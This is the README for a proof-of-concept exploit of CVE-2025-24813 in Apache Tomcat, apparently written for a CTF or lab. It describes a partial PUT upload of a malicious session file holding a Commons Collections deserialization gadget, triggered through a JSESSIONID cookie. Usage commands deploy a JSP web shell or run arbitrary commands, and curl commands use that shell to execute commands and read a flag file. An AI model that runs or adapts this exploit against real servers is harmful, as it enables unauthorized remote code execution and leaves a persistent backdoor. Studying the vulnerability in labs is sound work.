CVE-2025-24813 Tomcat PoC

PoC for an authorized CTF/lab environment. It exploits CVE-2025-24813 via partial PUT write of a Tomcat session file, then triggers deserialization with JSESSIONID.

Prerequisites

• Python 3
• Python requests module
• Java JDK (java and javac)
• The included commons-collections-3.2.1.jar file, placed in this directory

ysoserial is not required.

Files

• poc_cve_2025_24813.py: Python wrapper that automates generation, upload, and trigger.
• GenerateTomcatSessionPayload.java: generates a valid Tomcat session containing a CommonsCollections gadget.
• commons-collections-3.2.1.jar: dependency for the gadget.
• sh.jsp: optional JSP shell deployed by --drop-shell.

Usage

Drop a JSP shell in the default webroot /opt/tomcat/webapps/ROOT:

./poc_cve_2025_24813.py http://TARGET:8080 \
  --session-id poc24813 \
  --drop-shell \
  --shell-name sh.jsp

Run a direct command without dropping a shell:

./poc_cve_2025_24813.py http://TARGET:8080 \
  --session-id cmd24813 \
  --cmd 'id > /opt/tomcat/webapps/ROOT/rce.txt'

If the webroot is different:

./poc_cve_2025_24813.py http://TARGET:8080 \
  --drop-shell \
  --webroot /path/to/webroot \
  --shell-name sh.jsp

If the JAR is moved, specify its path:

./poc_cve_2025_24813.py http://TARGET:8080 \
  --jar /path/to/commons-collections-3.2.1.jar \
  --drop-shell

After exploitation

If --drop-shell succeeds:

curl --get --data-urlencode 'cmd=id' http://TARGET:8080/sh.jsp
curl --get --data-urlencode 'cmd=cat /opt/tomcat/user.flg' http://TARGET:8080/sh.jsp

Target-side conditions

• Vulnerable Tomcat version.
• DefaultServlet writable, typically readonly=false.
• Partial PUT support.
• Persistent sessions via PersistentManager and FileStore.
• Gadget chain available on the server side, here commons-collections.

The expected behavior during upload is often HTTP 409 Conflict on:

PUT /<session-id>/session
Content-Range: bytes 0-1000/1200

Then deserialization is triggered with:

Cookie: JSESSIONID=.<session-id>